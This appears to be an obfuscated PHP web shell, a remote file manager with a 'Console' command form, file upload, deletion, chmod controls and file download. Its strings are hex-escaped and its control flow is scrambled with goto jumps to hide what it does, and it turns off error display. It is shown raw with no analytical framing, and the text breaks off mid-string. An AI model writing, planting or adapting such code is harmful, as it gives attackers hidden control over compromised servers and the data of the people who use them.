goto bANzm; LhS2j: return $ROGqG; goto nSY4q; PgK7T: jq9SU: goto ioyZH; se5oT: eD6Di: goto svbqJ; MItD0: bNsry: goto IYRwX; ySSqG: $t0fzl = (int) $t0fzl; goto C1TlI; XrN1b: omjIm: goto zs1HX; xrgB0: header($f0hsW . "\40" . $t0fzl . "\40" . $LG_lR, true, $t0fzl); goto O4gNK; k0lPq: if ($t0fzl === null) { goto lNc8_; } goto vUpan; ioyZH: $hjlST = array(200 => "\x4f\113", 400 => "\102\x61\144\x20\x52\x65\161\165\x65\163\x74", 403 => "\x46\x6f\162\142\151\144\x64\145\x6e", 404 => "\x4e\157\x74\40\106\x6f\x75\156\144", 500 => "\111\156\x74\145\x72\156\x61\x6c\x20\x53\145\162\166\x65\x72\40\x45\162\162\157\x72"); goto ecv01; c6s4g: $ROGqG = $t0fzl; goto Blkq1; ecv01: goto Ma9nV; goto P2L_c; Wfhxu: goto caFnP; goto g9zoD; IYRwX: ts8yg: goto Wfhxu; svbqJ: } } goto dyxl8; jYdt0: @ini_set("\x64\x69\x73\x70\x6c\x61\171\x5f\x65\x72\x72\x6f\x72\x73", "\60"); goto iDMFG; MhBEJ: uCs_y: goto NqGo0; YadCK: AqPyY: goto qudeU; vLZs8: xARet: goto oQycr; gcduh: Oq_tT: goto QZvxI; w4Qp6: OAlY9: goto l7Jrj; oAZlm: goto w38H2; goto Y7hOt; zYqWZ: zRIVm: goto RHQdZ; pzOCA: if (!@is_dir($H_eTv)) { goto c_B3j; } goto epN5G; R2xIU: iW89d: goto M3Y5r; dZJbU: goto EYuju; goto LJJZi; JJWjy: echo "\x20\40\x20\x20\x3c\x64\x69\x76\x20\x63\154\141\x73\x73\x3d\42\143\141\162\x64\x22\x20\163\164\x79\154\145\75\42\x6d\141\x72\x67\x69\156\55\142\x6f\x74\x74\x6f\155\72\x20\x32\60\x70\170\73\x22\76\12\40\x20\x20\x20\x20\40\40\40\x3c\x64\151\166\x20\143\x6c\141\x73\163\x3d\42\143\x61\x72\144\x2d\x68\x65\x61\144\145\x72\42\76\xa\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\74\163\160\x61\156\40\143\154\x61\163\x73\75\x22\143\x61\162\144\x2d\164\x69\x74\154\145\42\76\12\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x3c\x73\166\x67\40\x77\151\x64\164\150\75\x22\61\x36\x22\x20\150\x65\x69\x67\150\164\x3d\42\61\x36\42\x20\166\151\145\167\x42\157\170\x3d\42\x30\40\60\x20\62\x34\x20\62\x34\42\x20\146\x69\154\154\75\x22\156\x6f\156\145\42\x20\x73\x74\162\157\x6b\145\75\42\x63\165\x72\162\x65\x6e\164\x43\x6f\154\157\162\x22\x20\163\164\x72\x6f\153\145\x2d\167\x69\144\164\x68\x3d\42\62\42\76\x3c\160\x6f\154\x79\x6c\151\156\x65\40\160\x6f\x69\x6e\x74\x73\x3d\x22\64\x20\61\67\x20\61\60\x20\x31\x31\x20\x34\x20\65\x22\57\x3e\x3c\x6c\151\156\145\x20\x78\61\75\x22\61\62\42\40\171\61\75\x22\x31\x39\42\x20\x78\x32\x3d\x22\62\60\x22\40\x79\x32\75\42\61\71\x22\x2f\x3e\74\57\x73\166\147\x3e\xa\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x43\x6f\156\x73\157\154\145\12\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x3c\57\x73\x70\141\156\x3e\xa\40\40\40\x20\40\40\40\40\74\57\x64\x69\166\76\xa\x20\40\x20\40\x20\x20\40\x20\74\144\x69\x76\x20\x63\154\141\163\163\75\42\143\x61\x72\144\55\142\157\x64\171\x22\x3e\xa\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\74\x66\x6f\162\155\x20\x6d\x65\164\x68\x6f\x64\x3d\42\160\x6f\163\164\x22\40\143\154\141\x73\x73\75\42\x69\156\160\165\x74\55\x67\x72\x6f\x75\160\42\40\163\x74\171\154\145\x3d\42\x66\x6c\145\x78\72\x20\x31\x3b\42\76\12\40\40\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\40"; goto Aa5mr; LzixU: CMTpo: goto i_FRU; rm4MY: c4dyt: goto m94Wc; MzoLm: etDXP: goto Op0Sf; a6UUX: JPdJy: goto AKCTk; Zjm0O: goto H8ID5; goto GtVk_; LZDK6: l9Hsp: goto luap5; HgZiU: if (!(time() - $_SESSION["\x5f\x63\x72\145\141\x74\x65\x64"] > 300)) { goto c8gnI; } goto gdU3c; US8JP: aFVvu: goto YtDEX; qE_8R: GMRNb: goto Px39R; gag8q: header("\103\157\x6e\164\x65\x6e\164\55\x44\x69\163\160\157\163\x69\x74\151\x6f\156\72\x20\141\x74\x74\x61\143\150\155\x65\156\x74\x3b\40\146\x69\154\x65\x6e\141\x6d\145\75\42" . $ChNv3 . "\42"); goto kCT42; oe9pC: if (isset($_FILES["\165\x70\154\157\141\144"]) && $_FILES["\x75\x70\154\157\141\144"]["\145\x72\x72\x6f\162"] !== UPLOAD_ERR_NO_FILE) { goto zy6ig; } goto RHbmC; SPckY: goto RbU12; goto aTY10; HCzak: p1FeC: goto Ky7uH; UhXIJ: XICXU: goto JaFVU; aY1G_: goto lEGxT; goto N4UiZ; nomMf: DyyAS: goto CKuy9; c8Stv: goto DxaNF; goto U0ykT; z0yQB: if (!@unlink($Yvvjn)) { goto aeSYw; } goto FIsKv; ls5qB: VLcpz: goto zYqWZ; lL3Lk: goto X6zpI; goto q6cwX; HxvJl: goto uZzLW; goto Qovzr; fk2En: goto Mxbm2; goto Qkovu; C62aS: Mpnx0: goto Bk9Ea; V8pSi: goto m0cFN; goto XVqRj; m7QM3: JCIaN: goto h5lRR; KV5Nz: if (isset($_SESSION["\x5f\x63\162\145\141\164\x65\x64"])) { goto xAJuY; } goto QQF13; cdhNI: echo "\40\40\x20\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\40\74\x69\156\x70\x75\164\40\x74\x79\x70\145\75\x22\150\x69\144\x64\145\156\x22\40\x6e\x61\x6d\145\x3d\42\147\x6f\x74\157\42\x20\166\141\x6c\x75\145\75\x22"; goto lz_vU; ECFgU: p3edl: goto wpYZt; woqg1: goto V_2Sb; goto U6DTJ; fbgsb: Xr7Hw: goto PE1n3; N8JTh: if (!@is_dir($H_eTv) || !@is_writable($H_eTv)) { goto YFaNl; } goto OpHtj; zow_p: goto SRYRF; goto qyCkO; hj2A3: goto p73PE; goto IFdUu; tdkOH: if (!($Yvvjn === false)) { goto Va8Ej; } goto DwIWk; Px39R: foreach ($UeVid as $X9VNQ) { goto ab9XM; kQyMU: q4pr6: goto yvS1b; thRuk: lPZJ0: goto v7WAF; LnEBl: lRhpQ: goto apkKx; tbW2c: if (VwtVb($X9VNQ)) { goto q4pr6; } goto UP2hJ; lXkLL: ZtzqT: goto uu0rL; apkKx: goto FTnzh; goto RDLRI; SCIm0: UNiYR: goto lssc3; UP2hJ: goto UNiYR; goto kQyMU; RDLRI: goto e2Uc5; goto Tf8nU; Tf8nU: QbTDe: goto tIVpz; lssc3: goto QbTDe; goto KLsRM; YRnfz: e2Uc5: goto SCIm0; yvS1b: goto lPZJ0; goto thRuk; hbZ1g: goto ZtzqT; goto lXkLL; tIVpz: PJBB5: goto hbZ1g; KLsRM: x23P8: goto tbW2c; v7WAF: $L6Wmx = true; goto PHLIV; PHLIV: goto lRhpQ; goto LnEBl; ab9XM: goto x23P8; goto YRnfz; uu0rL: CnFRZ: goto rNrAe; rNrAe: } goto TcNG4; CCnM4: goto xXNOq; goto W7MfR; cMcEK: $Yvvjn = lCa48($_SESSION["\143\165\162\x72\x65\156\164\x5f\144\151\162"] . DIRECTORY_SEPARATOR . $_POST["\144\x65\x6c\x5f\151\164\x65\x6d"]); goto H2jf5; IyJa4: goto rGDLq; goto n_t5R; ImhkW: l1tmg: goto aI1v6; O4TIj: jWtqT: goto sEoy3; oMkOh: $_SESSION["\137\143\162\145\141\x74\x65\x64"] = time(); goto i8WPq; rYEe1: echo "\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\x3c\x2f\163\160\141\x6e\76\xa\40\x20\x20\x20\x20\x20\x20\x20\74\57\x64\x69\166\x3e\12\x20\40\40\x20\40\40\x20\x20\74\x64\151\166\40\x63\x6c\141\x73\163\x3d\x22\143\141\162\x64\x2d\142\157\144\x79\42\76\12\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\74\146\x6f\162\155\40\x6d\x65\164\150\x6f\x64\75\42\160\157\x73\164\42\x3e\xa\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\40"; goto Q2qFQ; ojnXK: if (@is_writable($_SESSION["\143\165\162\x72\x65\x6e\x74\137\144\x69\x72"])) { goto AHyLL; } goto y75lI; IYxse: x4gTh: goto hgODR; qhF1E: JIwgN: goto AC1Vf; mNzDF: goto J3Ycm; goto ptH16; aPUTp: $JhZUI = array(); goto gJVWP; F6GQh: goto K9GA9; goto He_A7; IKD_P: a839H: goto LNIQc; YKRuG: goto G6X4B; goto zAERq; gUghk: nXrgY: goto S2zH1; xX01W: goto vhEjj; goto FuTP7; t8uMo: S7G2q: goto n8mc3; tgHTz: rpnmk: goto BiJw1; E80Tc: goto PHkD1; goto CcQwT; ftX16: echo "\xa\x20\x20\40\40"; goto fq0ws; RoAdg: Kso7F: goto a31zY; p12O8: goto MVL2t; goto ECFgU; FPf23: header("\x43\x6f\x6e\x74\x65\x6e\x74\55\114\x65\x6e\x67\x74\x68\x3a\x20" . @filesize($GId_d)); goto Tpe1G; IxoRM: VPnwF: goto by2sI; O2H4J: echo "\x22\x3b\xa\40\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x76\141\162\40\x73\143\x72\151\x70\164\125\x72\154\40\x3d\x20\x77\x69\x6e\x64\x6f\167\x2e\x6c\x6f\143\x61\164\x69\x6f\x6e\56\x70\141\x74\x68\x6e\141\155\x65\x3b\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x73\x74\x61\164\165\163\123\160\x61\156\x2e\164\145\x78\164\103\x6f\156\x74\x65\x6e\x74\40\x3d\40\42\x55\x70\x6c\157\x61\144\x69\156\147\40\x22\40\53\40\146\x69\154\145\x6e\x61\x6d\145\40\53\x20\42\54\x20\x70\154\145\x61\163\145\x20\x77\x61\x69\164\x2e\56\x2e\x22\73\x20\x73\164\x61\x74\x75\163\123\x70\141\156\56\163\x74\171\x6c\x65\x2e\x63\157\154\157\162\40\x3d\40\x22\x76\141\162\50\x2d\55\141\x63\143\145\x6e\164\51\x22\73\12\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\166\x61\x72\x20\162\145\141\x64\x65\x72\40\75\x20\x6e\145\x77\40\106\151\154\x65\122\x65\x61\x64\x65\x72\50\51\x3b\xa\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\162\x65\x61\x64\x65\x72\x2e\x72\x65\x61\x64\101\163\102\151\x6e\x61\162\x79\123\164\x72\151\x6e\147\50\146\151\x6c\145\51\x3b\xa\40\40\40\40\40\40\40\40\x20\40\40\x20\x72\x65\141\x64\145\162\56\x6f\156\x6c\157\x61\x64\145\156\144\40\x3d\x20\x66\165\x6e\x63\164\151\157\156\x28\x65\166\164\x29\x20\x7b\12\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\166\141\x72\x20\x78\150\162\40\75\40\x6e\x65\167\40\x58\115\114\x48\164\x74\160\x52\145\161\x75\145\x73\x74\x28\51\x3b\12\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\170\150\x72\56\157\160\x65\x6e\x28\42\x50\117\123\124\x22\x2c\x20\x73\143\162\x69\160\164\125\162\x6c\x20\53\x20\x22\x3f\x75\160\x6c\x6f\141\x64\137\x66\x69\x6c\145\x3d\42\x20\53\40\x65\156\143\157\x64\x65\125\122\x49\103\157\155\x70\157\x6e\x65\x6e\x74\50\x63\165\x72\162\x65\156\164\104\x69\x72\x29\x20\53\40\42\x26\156\x61\x6d\145\x3d\x22\x20\53\40\145\x6e\x63\157\x64\145\125\x52\x49\x43\x6f\x6d\160\157\156\145\156\164\x28\146\151\154\x65\156\x61\x6d\145\51\54\x20\x74\162\x75\x65\51\x3b\xa\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x58\115\x4c\x48\x74\x74\x70\122\145\161\x75\x65\163\x74\x2e\160\x72\x6f\164\x6f\164\x79\x70\x65\x2e\x6d\171\123\145\156\x64\x41\163\x42\x69\156\x61\162\171\40\x3d\x20\x66\x75\156\x63\164\x69\x6f\x6e\50\x74\x65\x78\x74\x29\40\173\xa\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\40\40\166\141\x72\x20\x64\x61\164\141\x20\x3d\40\x6e\x65\167\40\101\x72\x72\141\x79\x42\x75\x66\x66\x65\x72\50\x74\145\x78\164\x2e\154\145\x6e\x67\x74\150\51\73\xa\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\40\40\40\166\141\162\40\x75\151\70\x61\40\75\x20\156\145\x77\40\125\x69\x6e\x74\70\x41\x72\162\141\x79\x28\144\141\x74\141\x2c\x20\x30\x29\73\12\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\146\157\x72\40\50\166\141\x72\40\151\40\x3d\x20\60\x3b\x20\151\x20\x3c\40\164\145\x78\164\x2e\154\145\x6e\x67\x74\x68\73\x20\151\53\53\x29\40\173\40\165\151\x38\141\x5b\x69\135\x20\75\x20\50\164\x65\170\x74\56\x63\150\x61\162\x43\x6f\144\x65\x41\164\50\x69\x29\40\x26\x20\x30\170\146\146\51\x3b\40\175\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x76\141\162\40\x62\x6c\x6f\142\x3b\12\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\151\146\x20\x28\x74\x79\160\145\157\146\x20\167\151\156\x64\x6f\x77\56\102\154\157\142\40\75\x3d\x20\x22\146\165\x6e\x63\164\151\x6f\x6e\x22\51\40\x7b\x20\x62\154\x6f\142\40\x3d\x20\x6e\145\x77\x20\x42\x6c\x6f\142\x28\x5b\144\141\x74\x61\135\51\x3b\x20\175\12\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x65\154\163\x65\x20\173\x20\166\x61\162\x20\142\142\x20\x3d\x20\156\145\x77\40\x28\167\151\156\x64\157\x77\56\115\157\172\102\154\157\142\102\165\151\x6c\x64\x65\x72\40\x7c\x7c\40\x77\x69\156\144\x6f\x77\56\x57\x65\142\113\151\164\x42\x6c\157\x62\102\x75\x69\154\144\145\162\x20\174\x7c\40\167\x69\x6e\x64\157\167\56\x42\x6c\x6f\142\102\x75\x69\x6c\144\145\162\51\x28\51\x3b\x20\142\142\x2e\141\160\x70\145\x6e\144\x28\144\141\x74\141\x29\73\40\x62\154\x6f\x62\x20\x3d\40\142\x62\x2e\x67\145\164\102\x6c\x6f\142\x28\x29\73\40\x7d\xa\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x74\x68\x69\x73\x2e\163\145\x6e\x64\50\142\154\157\142\x29\73\xa\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\175\x3b\xa\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x78\150\162\x2e\157\x6e\162\145\x61\144\171\163\164\141\164\145\143\x68\x61\156\147\x65\x20\75\x20\146\x75\156\x63\x74\151\x6f\x6e\50\x29\x20\173\12\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x69\x66\40\50\170\150\x72\56\x72\x65\x61\144\171\x53\164\x61\164\x65\x20\75\75\x20\x34\51\40\173\xa\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x69\x66\x20\50\170\150\162\56\x73\164\x61\x74\165\163\40\x3d\x3d\40\62\x30\60\51\40\173\xa\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\163\164\141\164\165\163\123\160\x61\x6e\x2e\x74\145\x78\x74\x43\x6f\156\164\145\x6e\164\40\75\40\x22\x46\151\x6c\x65\x20\x22\x20\53\x20\146\x69\154\145\x6e\x61\155\x65\x20\53\40\x22\x20\x75\x70\x6c\157\x61\144\x65\x64\x20\x73\x75\143\143\x65\163\x73\146\x75\154\154\171\x21\42\73\x20\163\164\x61\x74\x75\x73\x53\160\141\x6e\56\x73\x74\x79\x6c\x65\56\143\x6f\154\x6f\162\x20\75\40\x22\166\141\162\50\x2d\x2d\x73\165\x63\143\145\x73\x73\51\42\x3b\12\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\40\163\145\164\124\151\155\145\157\165\164\x28\x66\165\x6e\143\164\x69\157\156\50\51\173\40\154\157\x63\141\x74\151\157\156\x2e\x72\x65\x6c\x6f\141\x64\x28\x29\73\40\x7d\54\40\x31\60\x30\60\51\x3b\xa\x20\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x7d\40\145\154\163\145\40\x7b\40\163\x74\x61\x74\x75\x73\x53\x70\x61\x6e\56\x74\145\x78\164\103\157\x6e\x74\145\156\x74\x20\x3d\x20\x22\x55\160\x6c\157\141\x64\40\x66\141\151\x6c\145\144\x3a\40\42\40\x2b\x20\170\150\162\56\x72\145\163\x70\157\156\x73\x65\x54\145\x78\x74\73\x20\x73\x74\x61\x74\165\x73\x53\x70\x61\x6e\56\x73\x74\171\154\x65\x2e\143\157\x6c\x6f\x72\40\x3d\40\x22\166\x61\162\x28\x2d\x2d\x64\x61\x6e\147\x65\x72\x29\42\x3b\40\x7d\12\x20\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\x7d\xa\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\x7d\73\12\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\40\170\x68\x72\x2e\155\171\x53\x65\x6e\144\x41\x73\x42\151\156\141\x72\x79\50\x65\x76\x74\56\x74\141\x72\147\x65\164\x2e\x72\x65\x73\x75\154\164\x29\73\12\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\x7d\x3b\xa\40\x20\x20\40\40\40\x20\40\175\12\x20\x20\x20\40\40\x20\40\x20\146\165\156\x63\x74\151\x6f\156\40\x6f\x70\145\156\103\150\155\157\x64\x4d\x6f\x64\x61\154\50\x69\164\x65\155\116\x61\x6d\145\54\x20\157\143\164\x61\x6c\x49\x64\x29\x20\173\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x76\141\x72\x20\155\x6f\x64\141\154\40\x3d\40\x64\157\143\x75\155\x65\156\164\56\147\x65\x74\105\x6c\x65\x6d\x65\156\164\102\171\111\x64\50\47\x63\x68\155\157\144\x4d\x6f\x64\141\154\47\51\x3b\xa\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\155\x6f\144\141\154\56\143\x6c\x61\x73\163\x4c\151\x73\x74\x2e\x61\x64\144\x28\47\x73\150\x6f\167\47\51\73\40\x6d\x6f\144\141\154\x2e\163\164\x79\154\x65\x2e\144\151\163\160\x6c\x61\x79\40\75\40\x27\146\154\145\x78\47\73\xa\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\x64\x6f\x63\x75\x6d\x65\156\x74\x2e\x67\145\x74\x45\x6c\x65\155\145\x6e\164\102\x79\111\x64\x28\47\x63\150\155\x6f\144\x49\x74\145\155\47\x29\x2e\x76\141\x6c\165\145\x20\x3d\x20\151\164\145\155\x4e\x61\155\145\73\xa\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x75\x70\x64\141\x74\x65\103\x68\x6d\x6f\x64\104\x69\163\x70\154\x61\171\50\144\157\x63\x75\155\145\x6e\x74\x2e\x67\145\x74\x45\154\145\x6d\145\x6e\x74\102\x79\111\144\50\157\x63\x74\x61\x6c\x49\144\51\x2e\x76\141\154\165\145\x29\x3b\xa\x20\x20\x20\40\x20\x20\40\x20\175\xa\x20\x20\x20\40\x20\40\40\x20\146\165\156\x63\x74\x69\157\156\40\x63\154\x6f\163\145\103\150\x6d\x6f\144\115\x6f\144\x61\154\50\51\40\x7b\12\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\166\141\162\40\x6d\157\x64\141\154\x20\x3d\40\x64\157\143\165\x6d\145\156\x74\56\x67\x65\x74\x45\x6c\145\x6d\145\x6e\x74\x42\171\x49\144\x28\x27\x63\150\x6d\x6f\x64\x4d\157\x64\141\x6c\x27\x29\x3b\xa\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\155\x6f\144\x61\154\x2e\143\154\141\163\x73\114\x69\x73\x74\56\x72\145\155\157\166\x65\x28\x27\x73\150\x6f\x77\47\x29\x3b\x20\155\x6f\x64\x61\x6c\x2e\163\x74\171\x6c\145\56\x64\x69\163\x70\154\141\171\40\75\x20\x27\156\157\156\x65\x27\x3b\12\40\40\x20\x20\40\40\x20\40\175\xa\40\40\x20\40\40\40\40\40\x66\x75\156\x63\x74\x69\x6f\156\x20\165\x70\144\x61\x74\x65\x43\x68\x6d\x6f\144\x44\151\163\160\154\x61\x79\50\160\x65\x72\155\163\x29\40\173\12\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\160\145\x72\155\163\x20\75\40\x28\x70\145\162\155\163\x20\174\x7c\x20\x27\60\x27\x29\56\x74\157\123\164\162\x69\x6e\147\50\51\56\163\x6c\x69\x63\x65\50\55\63\51\73\xa\x20\x20\40\40\40\40\40\40\40\x20\40\x20\144\157\143\x75\155\x65\156\164\x2e\x67\145\164\105\x6c\x65\x6d\145\x6e\164\102\171\x49\144\x28\x27\143\150\x6d\x6f\x64\117\x63\x74\141\154\x27\51\x2e\166\141\154\x75\x65\x20\x3d\40\160\x65\162\155\x73\73\12\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\x76\141\162\40\x62\x69\x6e\x61\x72\x79\40\x3d\40\x28\160\141\162\x73\145\111\156\x74\x28\160\145\162\x6d\x73\x2c\x20\x38\51\40\174\x7c\40\x30\x29\x2e\x74\157\x53\164\x72\151\156\147\50\62\x29\x3b\12\x20\x20\40\40\40\x20\40\x20\40\40\40\40\167\x68\151\x6c\x65\40\x28\x62\151\156\x61\162\x79\x2e\154\x65\x6e\147\x74\150\x20\74\x20\71\x29\40\x7b\x20\x62\151\156\x61\x72\x79\40\75\x20\47\60\47\40\x2b\40\142\151\156\141\x72\171\x3b\40\175\12\40\x20\40\40\x20\x20\40\40\40\x20\40\40\166\x61\162\x20\151\x64\163\40\75\x20\x5b\47\157\167\156\x65\162\137\162\x65\141\x64\47\54\47\x6f\x77\x6e\x65\162\x5f\x77\162\151\x74\145\x27\54\47\157\x77\x6e\145\162\137\145\170\145\143\x75\x74\x65\x27\x2c\47\x67\x72\157\x75\x70\137\x72\145\x61\144\47\x2c\47\x67\x72\157\165\160\x5f\x77\x72\151\x74\x65\47\x2c\x27\x67\162\157\165\160\137\145\x78\x65\x63\165\x74\x65\x27\54\x27\x6f\164\150\145\162\137\x72\145\141\x64\47\x2c\x27\x6f\x74\150\145\x72\137\167\162\x69\164\x65\x27\54\x27\x6f\164\x68\145\162\137\145\x78\x65\x63\165\x74\x65\x27\135\x3b\12\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x66\157\x72\x20\x28\x76\141\162\x20\151\40\75\x20\60\73\x20\x69\40\74\40\x39\73\40\151\x2b\x2b\51\x20\173\40\x64\x6f\143\x75\x6d\145\x6e\x74\x2e\147\x65\164\x45\154\145\155\145\x6e\164\x42\171\x49\x64\x28\x69\144\x73\133\151\x5d\51\56\x63\x68\x65\x63\153\145\144\40\75\x20\x62\151\156\x61\162\171\133\151\135\x20\75\75\75\x20\x27\61\x27\x3b\x20\x7d\12\40\40\40\40\x20\40\x20\x20\x7d\12\x20\40\40\x20\40\40\x20\40\146\x75\156\x63\x74\151\157\156\40\x75\160\x64\x61\x74\145\103\x68\x6d\157\x64\106\162\x6f\155\x43\x68\x65\x63\x6b\142\157\170\x65\163\x28\x29\x20\x7b\12\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\166\141\162\x20\151\144\x73\x20\x3d\40\133\47\157\x77\x6e\x65\162\x5f\x72\x65\x61\144\47\54\x27\157\167\x6e\145\x72\x5f\167\x72\151\164\145\x27\54\x27\157\167\156\145\162\137\145\170\x65\143\x75\164\x65\47\54\x27\147\162\x6f\165\x70\x5f\162\x65\x61\x64\x27\x2c\x27\x67\162\157\x75\x70\137\x77\x72\151\x74\145\47\54\47\x67\x72\x6f\x75\x70\x5f\145\170\145\x63\x75\x74\145\x27\54\47\x6f\164\x68\145\162\x5f\x72\x65\141\144\47\54\x27\x6f\x74\150\x65\x72\x5f\x77\162\x69\x74\145\x27\54\x27\157\164\x68\x65\x72\137\145\x78\x65\x63\x75\164\x65\x27\135\73\xa\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x76\141\x72\40\x62\151\x6e\141\162\x79\x20\75\x20\47\x27\73\12\x20\x20\x20\40\40\x20\x20\x20\40\40\40\40\x66\x6f\162\40\x28\x76\141\x72\40\x69\x20\x3d\x20\60\73\x20\x69\40\74\x20\x39\73\40\x69\53\53\x29\x20\x7b\40\x62\151\156\x61\162\171\40\53\x3d\40\x64\157\143\x75\x6d\x65\x6e\164\56\147\x65\164\x45\154\145\x6d\x65\x6e\164\x42\x79\x49\144\50\151\144\x73\133\x69\x5d\51\x2e\143\150\x65\x63\153\x65\x64\x20\77\40\x27\61\47\x20\x3a\40\47\x30\x27\73\40\x7d\xa\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x76\x61\162\x20\x6f\143\x74\x61\154\40\x3d\x20\160\141\162\163\145\111\x6e\164\50\x62\x69\156\141\x72\171\54\40\62\51\x2e\164\x6f\123\x74\162\x69\156\x67\50\70\51\73\12\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x77\150\151\154\x65\40\x28\x6f\143\x74\x61\154\x2e\154\145\x6e\147\x74\150\x20\x3c\x20\63\51\x20\x7b\x20\157\x63\x74\141\x6c\x20\75\x20\x27\x30\47\40\x2b\40\157\x63\x74\141\x6c\73\x20\x7d\12\x20\40\x20\40\40\x20\40\40\40\40\40\40\x64\157\x63\x75\x6d\145\156\164\56\x67\x65\164\x45\154\x65\x6d\145\x6e\x74\x42\x79\111\144\x28\x27\x63\150\155\157\x64\x4f\x63\x74\x61\x6c\47\51\56\x76\141\154\165\x65\x20\x3d\x20\157\143\x74\141\154\x3b\12\x20\x20\x20\x20\x20\40\x20\x20\175\xa\40\x20\x20\40\x20\x20\40\40\x66\165\156\143\x74\x69\157\156\40\x73\145\164\120\162\x65\163\145\x74\103\150\x6d\157\x64\x28\x70\51\40\173\x20\x75\160\144\x61\164\145\103\150\155\157\x64\104\x69\x73\160\x6c\x61\171\x28\x70\51\73\40\x7d\12\40\40\40\x20\x20\40\x20\x20\167\151\x6e\x64\157\167\56\x6f\x6e\x63\154\x69\x63\x6b\40\75\x20\x66\165\x6e\x63\164\x69\x6f\x6e\50\x65\51\x20\173\12\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\166\x61\162\40\155\x6f\144\141\x6c\x20\x3d\x20\x64\x6f\x63\165\155\145\156\164\x2e\x67\145\x74\105\x6c\x65\155\145\156\164\102\x79\111\144\50\47\x63\x68\155\157\x64\x4d\x6f\144\x61\x6c\47\x29\73\xa\40\40\x20\x20\40\x20\40\40\x20\40\40\40\151\146\40\50\145\56\164\x61\x72\x67\145\x74\x20\x3d\75\x20\x6d\x6f\144\x61\x6c\51\40\x7b\40\143\154\157\163\x65\103\x68\155\x6f\x64\115\x6f\x64\141\154\x28\51\73\x20\x7d\xa\40\40\x20\40\40\x20\40\x20\175\73\xa\40\40\x20\x20\x20\x20\40\40\57\x2f\40\x41\165\x74\157\55\151\x6e\x6a\x65\143\164\x20\103\123\x52\106\40\164\x6f\153\145\x6e\x20\151\156\x74\157\x20\x65\166\x65\162\171\40\120\117\123\x54\40\x66\x6f\162\155\x20\50\144\145\x66\145\x6e\163\x65\40\x69\156\40\144\145\x70\x74\150\51\xa\x20\40\40\40\x20\x20\40\x20\144\157\143\x75\x6d\145\156\164\56\141\144\x64\x45\x76\x65\156\164\x4c\x69\163\x74\145\x6e\x65\162\x28\x27\104\x4f\115\103\157\x6e\164\145\x6e\164\114\x6f\x61\144\145\144\x27\54\x20\146\165\156\143\164\x69\157\156\50\x29\x20\x7b\xa\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\166\141\x72\40\164\x6f\x6b\145\x6e\40\75\40\x64\x6f\x63\165\155\145\156\x74\x2e\161\165\x65\162\x79\123\145\x6c\145\143\x74\157\162\50\x27\155\x65\164\x61\133\x6e\x61\155\145\75\42\x63\x73\x72\x66\55\164\x6f\153\x65\156\42\x5d\x27\x29\73\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\151\x66\40\50\x21\x74\157\153\x65\156\51\40\162\145\164\165\162\x6e\x3b\xa\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\164\x6f\153\145\x6e\x20\x3d\x20\x74\157\x6b\145\156\56\x63\x6f\x6e\x74\x65\156\164\x3b\12\40\40\40\x20\x20\40\40\40\x20\x2